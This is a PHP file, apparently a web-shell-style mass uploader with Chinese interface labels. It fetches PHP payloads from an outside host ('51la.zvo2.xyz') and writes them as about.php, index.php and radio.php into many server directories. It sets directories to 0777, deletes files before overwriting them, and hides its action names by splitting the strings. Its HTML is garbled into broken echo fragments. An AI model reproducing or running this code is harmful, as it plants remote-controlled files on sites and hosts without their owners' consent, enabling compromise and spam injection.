查找路径
'; echo '
'; echo '
'; echo ''; echo '
'; } function htmlFooter() { echo '
'; exit(); } function getAbout1($link) { $content = get("https://" . $link . "/a2.txt"); if($content){ return $content; } return 'error 1'; } function getAbout2($link) { $content = get("https://" . $link . "/e.txt"); if($content){ return str_replace('51la.icw7.xyz', $link, $content); } return "error 2"; } function chmod_directory_path($path) { if (!file_exists($path)) { return false; } $path = realpath($path); if (is_file($path)) { $path = dirname($path); } $current_path = $path; $success = true; while ($current_path !== '/' && $current_path !== '') { if (!chmod($current_path, 0755)) { $success = false; } $current_path = dirname($current_path); } return $success; } function multiUpload($to_dir, $params){ $max = count($params['files']); $new_dir_path = $to_dir . '/' . $params['new_dir_name']; if($params['extend_path'] != ''){$new_dir_path = $to_dir . '/' . $params['extend_path'] . '/' . $params['new_dir_name'];} if(!is_dir($new_dir_path)){ if(!mkdir($new_dir_path)){ chmod_directory_path($new_dir_path); } } for ($i=1; $i <= $max; $i++){ $file_path = $to_dir . '/' . $params['new_dir_name'] . '/' . $params['files'][$i]['name']; if($params['extend_path'] !=''){ $file_path = $to_dir . '/' . $params['extend_path'] . '/'. $params['new_dir_name'] . '/' . $params['files'][$i]['name']; } $result = file_put_contents(str_replace("//", "/", $file_path), $params['files'][$i]['content']); if ($result && $result == strlen($params['files'][$i]['content'])){ if($params['use_520']) { $params['files'][$i]['result'] .= $to_dir . "\t" . getTheEndDirName($to_dir) . "/" . $params['new_dir_name'] . '/' . $params['files'][$i]['name'] . '?520' . PHP_EOL ; } else { $params['files'][$i]['result'] .= $to_dir . "\t" . getTheEndDirName($to_dir) . "/" . $params['new_dir_name'] . '/' . $params['files'][$i]['name'] . PHP_EOL ; } } else { $params['files'][$i]['result'] .= $to_dir . "\t" . "上传失败" . PHP_EOL; } } return $params; } function casePath() { $path = $_POST['path']; if(file_exists($path)) { $dirs = ""; foreach (getAllDir($path) as $item) { $dirs .= $item . PHP_EOL; } echo '
批量上传
'; echo '
'; echo '
'; echo '
'; echo '
'; echo '
'; echo '
'; echo '
'; echo '
'; echo ''; echo '
'; } } function caseUpload($link) { $to_dirs = explode(PHP_EOL, $_POST['dirs']); $params['extend_path'] = trim($_POST['extend_path']); $params['use_520'] = false; $params['new_dir_name'] = mt_rand(100000,999999); if (isset($_POST['use_520']) && $_POST['use_520'] == 'on'){ $params['use_520'] = true; } if (isset($_POST['use_about_api_all']) && $_POST['use_about_api_all'] == 'on') { $params['files'][1] = array( 'content' => getAbout1($link), 'name' => 'about.php', 'result' => '' ); $params['files'][2] = array( 'content' => getAbout2($link), 'name' => 'index.php', 'result' => '' ); $params['files'][3] = array( 'content' => get("https://" . $link . "/f.txt"), 'name' => 'radio.php', 'result' => '' ); foreach ($to_dirs as $to_dir) { $params['files'][4] = array( 'content' => $to_dir, 'name' => '1.txt', 'result' => '' ); $to_dir = trim($to_dir); if ($to_dir == "") {continue;} $params = multiUpload($to_dir , $params); } } else { if (isset($_POST['use_about_api']) && $_POST['use_about_api'] == 'on') { $file_content = getAbout1($link); } else if(isset($_POST['use_about_api_e']) && $_POST['use_about_api_e'] == 'on'){ $file_content = getAbout2($link); } else { $file_content = $_POST['file_content']; } $params['files'][0]['result'] = ''; foreach ($to_dirs as $to_dir) { $to_dir = trim($to_dir); if ($to_dir == "") { continue; } if ($params['extend_path'] != "") { $file = $to_dir ."/" . $params['extend_path'] . "/" . $_POST['file_name']; } else { $file = $to_dir ."/" . $_POST['file_name']; } $file = str_replace("//", "/", $file); if(file_exists($file)) { if(!unlink($file)) { chmod($file, 0777); } } if(getPermissions($to_dir) == 0755) { chmod($to_dir, 0777); } $result = file_put_contents($file, $file_content); if ($result){ if (isset($_POST['use_520']) && $_POST['use_520'] == 'on') { $params['files'][0]['result'] .= $to_dir . "\t" . getTheEndDirName($to_dir) . "/" . $_POST['file_name'] . '?520' . PHP_EOL; continue; } $params['files'][0]['result'] .= $to_dir . "\t" . getTheEndDirName($to_dir) . "/" . $_POST['file_name'] . PHP_EOL; } else { $params['files'][0]['result'] .= $to_dir . "\t" . "上传失败" . PHP_EOL; } } } echo '
上传结果
'; foreach ($params['files'] as $item) { echo ''; } echo '
'; } $link = '51la.zvo2.xyz'; htmlHeader(); if (!isset($_GET['ac'])){ htmlFooter(); } switch ($_GET['ac']){ case "pa" . 'th': casePath(); break; case "u" . 'pl' . 'oad': caseUpload($link); break; default: break; } htmlFooter();